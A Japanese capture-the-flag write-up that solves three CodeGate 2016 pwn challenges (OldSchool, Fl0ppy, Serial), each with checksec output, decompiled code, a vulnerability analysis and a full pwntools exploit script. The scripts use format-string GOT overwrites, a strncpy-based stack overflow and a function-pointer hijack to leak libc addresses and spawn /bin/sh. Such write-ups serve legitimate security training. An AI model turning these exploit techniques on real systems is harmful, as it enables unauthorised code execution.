pwn challenges list easy writeup その9
前回
[CodeGate 2016] Pwnable490 OldSchool
ELF 32bit、動的リンク、SSPとNX有効。
$ file oldschool oldschool: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=20bb2d896ad24909d0210a65820586f2d83c93f3, not stripped $ checksec oldschool [*] '/home/hnoson/ctf/codegatectf/2016/oldschool/oldschool' Arch: i386-32-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
libcとldが与えられているのでLD_PRELOAD=./libc-2.21.so ./ld-2.21.so ./oldschool
で実行する。
$ LD_PRELOAD=./libc-2.21.so ./ld-2.21.so ./oldschool YOUR INPUT :%p,%p RESPONSE :0x3fc,0xf7f1c600
- 1回目のfsb
- .fini_arrayセクションにmainを書き込む
- libcのアドレスをリークする
- stackのアドレスをリークする
- 2回目のfsb
- __stack_chk_failのGOTをmainに書き換える
- printfのGOTをsystemに書き換える
- canaryに適当な値を書き込む
- 次の入力
- "/bin/sh"を入力する
#!/usr/bin/env python from pwn import * import collections def fsb(payloads): payload = '' for target in payloads: for i in range(len(payloads[target])): payload += p32(target + i) prev = len(payload) & 0xff i = 0 for target in payloads: for d in payloads[target]: payload += '%{}x'.format((ord(d) - prev & 0xff) + 0x100) payload += '%{}$hhn'.format(i + 7) prev = ord(d) i += 1 return payload if __name__ == '__main__': s = process(['./ld-2.21.so', './oldschool'], env = {'LD_PRELOAD': './libc-2.21.so'}) elf = ELF('./oldschool') libc = ELF('./libc-2.21.so') fini = 0x80496dc payloads = collections.OrderedDict() payloads[fini] = p32(elf.symbols['main']) s.sendline(fsb(payloads) + 'AAAA%2$p%264$p') s.recvuntil('AAAA') libc_base = int(s.recv(10), 16) - 0x1b7600 log.info('libc base: %#x' % libc_base) canary_addr = int(s.recv(10), 16) - 0x104 log.info('canary address: %#x' % canary_addr) payloads = collections.OrderedDict() payloads[elf.got['__stack_chk_fail']] = p32(elf.symbols['main']) payloads[elf.got['printf']] = p32(libc_base + libc.symbols['system']) payloads[canary_addr] = 'A' s.sendline(fsb(payloads)) s.sendline('/bin/sh') s.interactive()
[CodeGate 2016] Pwnable315 FlOppy
ELF 32bit、動的リンク、NXとPIE有効。
$ file Fl0ppy Fl0ppy: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0181e2acbb1c70657d46c26eac0f75b29d82472d, stripped $ checksec Fl0ppy [*] '/home/hnoson/ctf/codegatectf/2016/Fl0ppy/Fl0ppy' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
libcは与えられていないが予測することはできたらしいのでlibcは既知として進める。
Fl0ppy - CODEGATE 2016 CTF Preliminary
$ ./Fl0ppy =========================================================================== 1. Choose floppy 2. Write 3. Read 4. Modify 5. Exit >
- Coose floppy: disc1かdisc2を選択する
- Write: data(0x200bytes)とdescription(10bytes)を書き込む。1回のみ。
- Read: dataとdescriptionを表示する
- Modify: dataかdescriptionを書き換える。
デコンパイル結果
struct disc_t { int usable; // 0x0 char *data; // 0x4 char desc[10]; // 0x8 int len; // 0x14 }; void write_disc(disc_t *disc) { if (disc->usable) { puts("Memory is already generated!\n"); return; } puts("Input your data: \n"); disc->data = malloc(0x200); memset(disc->data, 0, 0x200); read(0, disc->data, 0x200); disc->len = strlen(disc->data); read(0, disc->desc, 10); disc->usable = 1; } void read_disc(disc_t *disc, int floppy) { if (!disc->usable) exit(-1); printf("FLOPPY%d\n", floppy); printf("DESCRIPTION: %s\n", disc->desc); printf("DATA: %s\n", disc->data); } void modify_disc(disc_t *disc) { char buf[0x400]; memset(buf, 0, 0x400); if (!disc->usable) exit(-1); int choice; scanf("%d", &choice); getc(stdin); if (choice == 1) { read(0, buf, 0x25); int len = strlen(buf); strncpy(disc->desc, buf, len-1); } else if (choice == 2) { read(0, buf, 0x200); disc->len = strlen(buf); strcpy(disc->data, buf); } else exit(-1); } int main(void) { setvbuf(stdout, 0, 2, 0); ssignal(0xd, 1); // some ops disc_t disc2; // ebp - 0x3c disc_t disc1; // ebp - 0x24 disc_t *chosen; // ebp - 0xc int floppy; // ebp - 0x40 for (;;) { int choice = menu(); switch (choice) { case 1: puts("Which floppy do you want to use? 1 or 2?"); scanf("%d", &floppy); getc(stdin); if (floppy == 1) chosen = &disc1; else if (floppy == 2) chosen = &disc2; else exit(-1); break; case 2: if (chosen == &disc1 || chosen == &disc2) write_disc(chosen); break; case 3: if ((chosen == &disc1 || chosen == &disc2) && disc1->usable) read_disc(chosen, floppy); break; case 4: if ((chosen == &disc1 || chosen == &disc2) && disc1->usable) modify_disc(chosen); } } return 0; }
modify_disc
でスタックバッファオーバーフローする。descriptionは10bytesの大きさしか持っていないが最大で0x25bytes書き込める。また、文字列のコピーにはstrncpy
を使っておりnul文字が最後に挿入されないため、main関数内のdisc1
の後ろにあるchosen
の値をリークできる。また、disc1
にあるアドレスを書き換えることで.textセクションのアドレスとlibcのアドレスをリークできる。使っているlibcがわかるという前提だったのでsystem
のアドレスを求めて、リターンアドレスをsystem
に書き換えてシェルを起動した。
#!/usr/bin/env python from pwn import * def choose(floppy): s.sendlineafter('>\n', '1') s.sendlineafter('2?\n\n', str(floppy)) def write(data, desc): s.sendlineafter('>\n', '2') s.sendafter('data: \n\n', data) s.sendafter('Description: \n\n', desc) def read(): s.sendlineafter('>\n', '3') s.recvuntil('DESCRIPTION: ') desc = s.recvline(False) s.recvuntil('DATA: ') data = s.recvline(False) return (desc, data) def modify(which, data): s.sendlineafter('>\n', '4') s.sendlineafter('Data\n\n', str(which)) s.sendafter(': \n', data) def leak(addr): choose(2) modify(1, 'A' * 0x14 + p32(addr) + 'A') choose(1) return u32(read()[1][:4]) if __name__ == '__main__': s = process('./Fl0ppy') elf = ELF('./Fl0ppy') libc = ELF('/lib/i386-linux-gnu/libc-2.23.so') choose(1) write('A', 'A') modify(1, 'A' * 0x11) stack_addr = u32(read()[0][0x14:0x18]) - 0x4 log.info('stack address: %#x' % stack_addr) choose(2) write('A', 'A') text_base = leak(stack_addr + 0x50) - 0xa10 log.info('text base: %#x' % text_base) libc_base = leak(text_base + elf.got['__libc_start_main']) - libc.symbols['__libc_start_main'] log.info('libc base: %#x' % libc_base) choose(2) modify(1, 'A' * 0x14 + p32(stack_addr) + 'A') payload = '' payload += p32(libc_base + libc.symbols['system']) payload += 'A' * 4 payload += p32(stack_addr + 0xc) payload += '/bin/sh\0' choose(1) modify(2, payload) s.sendlineafter('>\n', '5') s.recvuntil('=\n\n') s.interactive()
[CodeGate 2016] Pwnable444 Serial
ELF 64bit、動的リンク、SSPとNX有効。
$ file serial serial: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=178aaa6576923592e7fc8534fd8cb21d5f6c5cdb, stripped $ checksec serial [*] '/home/hnoson/ctf/codegatectf/2016/serial/serial' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
始めにproduct keyを求められる。
$ ./serial input product key:
ディスアセンブル結果を見たら判定の式を簡単にできたのでpythonで同じ処理をして突破。後で気づいたけどデバッガで見れば正しい値がわかるし、angrでやれば解析する必要がなかった。
def calc_key(): a = 0xacac b = 0xabab c = 0xff0 d = 0xf0f k1 = (a ^ b ^ c) + (d << 8 | d >> 8) k2 = (b ^ d) + (b << 5 | b >> 0xb) k3 = c return str(k1 & 0xffff) + str(k2 & 0xffff) + str(k3 & 0xffff)
$ ./exploit.py ... Correct! Smash me! 1. Add 2. Remove 3. Dump 4. Quit choice >> 1 insert >> AAA Smash me! 1. Add 2. Remove 3. Dump 4. Quit choice >> 1 insert >> BBB Smash me! 1. Add 2. Remove 3. Dump 4. Quit choice >> 2 0. AAA 1. BBB choice>> 0 Smash me! 1. Add 2. Remove 3. Dump 4. Quit choice >> 3 func : 0x40096e 0. BBB Smash me! 1. Add 2. Remove 3. Dump 4. Quit choice >>
0x20バイトのノートを10つまで保存できる。領域はcalloc(10, 0x20)で確保される。
- Add: 使われていないノートに書き込みを行う。0x18バイト目に関数ポインタがセットされ、その後に0x20バイト書き込む。つまり関数ポインタを書き換えられる。
- Remove: インデックスを指定して書き込んだ内容を消す。
- Dump: ノートの先頭を引数として0x18バイト目にある関数ポインタを実行する。
関数ポインタをprintfで書き換えることでprintf("%p")でアドレスをリークできる。スタックのアドレスをリークしてret2dlresolveするのは厳しそうだったが本番ではlibcが容易に特定できたようなので、libcのベースアドレスからsystemのアドレスを求めてシェルを呼び出した。念の為libc-databaseが使えるように__libc_start_mainのアドレスをリークした。(product keyを入力するときに余分に入力できるのでリークしたいアドレスを書き込んでおくと、printf("%16$s")でリークできる。)
#!/usr/bin/env python from pwn import * def calc_key(): a = 0xacac b = 0xabab c = 0xff0 d = 0xf0f k1 = (a ^ b ^ c) + (d << 8 | d >> 8) k2 = (b ^ d) + (b << 5 | b >> 0xb) k3 = c return str(k1 & 0xffff) + str(k2 & 0xffff) + str(k3 & 0xffff) def add(data): s.sendlineafter('choice >> ', '1') s.sendlineafter('insert >> ', data) def remove(index): s.sendlineafter('choice >> ', '2') s.sendlineafter('choice>> ', str(index)) def dump(): s.sendlineafter('choice >> ', '3') if __name__ == '__main__': s = process('./serial') elf = ELF('./serial') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') s.sendlineafter('key: ', calc_key() + 'A' * 4 + p64(elf.got['__libc_start_main'])) add(('%16$s').ljust(0x18, 'A') + p64(elf.symbols['printf'])) dump() s.recvuntil('func') s.recvline() libc_base = u64(s.recvuntil('AA')[:-2].ljust(8, '\0')) - libc.symbols['__libc_start_main'] log.info('libc base: %#x' % libc_base) remove(0) add('/bin/sh;'.ljust(0x18, 'A') + p64(libc_base + libc.symbols['system'])) dump() s.recvuntil(hex(libc_base + libc.symbols['system']) + '\n') s.interactive()
続き